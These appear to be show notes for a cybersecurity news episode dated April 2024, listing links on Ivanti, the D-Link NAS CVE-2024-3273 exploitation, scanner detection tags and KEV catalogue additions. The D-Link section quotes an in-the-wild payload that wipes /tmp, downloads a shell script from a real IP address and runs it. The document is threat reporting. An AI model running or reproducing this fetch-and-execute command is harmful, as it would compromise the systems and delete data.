
Dateline: 2024—04-09 



https://StormWatch.ing





https://www.ivanti.com/blog/our-commitment-to-security-an-open-letter-from-ivanti-ceo-jeff-abbott



https://censys.com/cve-2024-21894/





CYBERSIDE 
CHAT

🔥







https://en.wikipedia.org/w/index.php?title=Andres_Freund&redirect=no



CYBER 
SPOTLIGHT



https://www.greynoise.io/blog/cve-2024-3273-d-link-nas-rce-exploited-in-the-wild





https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10383



https://github.com/netsecfish/dlink













cd /tmp; 
rm -rf *;  
wget http://38.6.224.248/poggo.sh; 
chmod 777 poggo.sh;  
./poggo.sh







https://www.avg.com/en/signal/what-is-unpn





https://ecosyste.ms/



SHAMELESS 
SELF-PROMOTION



https://go.censys.com/threat-hunting-workshop-philadelphia-2024.html



https://www.greynoise.io/blog/netnoisecon-amplifying-the-future-of-infosec



TAG 
ROUND-UP



🏷 Yonyou NC Arbitrary File Upload Attempt 

🏷 vBulletin CVE-2015-7808 PHP Deserialization Attempt 

🏷 ThinkCMF PHP Code Injection RCE Attempt 

🏷 OpenSIS CVE-2014-8366/CVE-2021-40353 SQL Injection Attempt 

🏷 D-Link NAS CVE-2024-3273 RCE Attempt 

🏷 Bludit 3.13.1 CVE-2021-35323 XSS Attempt 

🏷 Bludit 3.13.1 CVE-2021-35323 XSS Check 

🏷 ECShop delete_cart_goods.php SQL Injection Attempt 

🏷 NETObserve Authentication Bypass RCE Attempt 

🏷 CHIYU Converter CVE-2021-31250 XSS Attempt 

🏷 CHIYU SEMAC CVE-2021-31643 XSS Attempt 

🏷 SonicWall NetExtender Scanner 

🏷 Joomla PHP Object Injection RCE Attempt 

🏷 Netware Web Server CVE-2001-1580 Source Page Disclosure Attempt 

🏷 Microsoft IIS MDAC msadc CVE-1999-1011 Check 

🏷 Symantec Endpoint Protection Manager CVE-2013-5014/5015 XXE Attempt 

🏷 E-cology bsh.servlet.BshServlet RCE Attempt 

🏷 Ubiquiti Default Credentials Scanner 

🏷 Progress Kemp LoadMaster RCE CVE-2024-1212 Attempt 

https://viz.greynoise.io/trends?view=recent





WE NEED 

TO TALK 

ABOUT 

KEV



https://kev.hrbrmstr.app



CVE-2024-29748: Android Pixel Privilege Escalation Vulnerability 

CVE-2024-29745: Android Pixel Information Disclosure Vulnerability

https://www.cisa.gov/known-exploited-vulnerabilities-catalog



https://www.federalregister.gov/documents/2024/04/04/2024-06526/cyber-incident-reporting-for-critical-infrastructure-act-circia-reporting-requirements


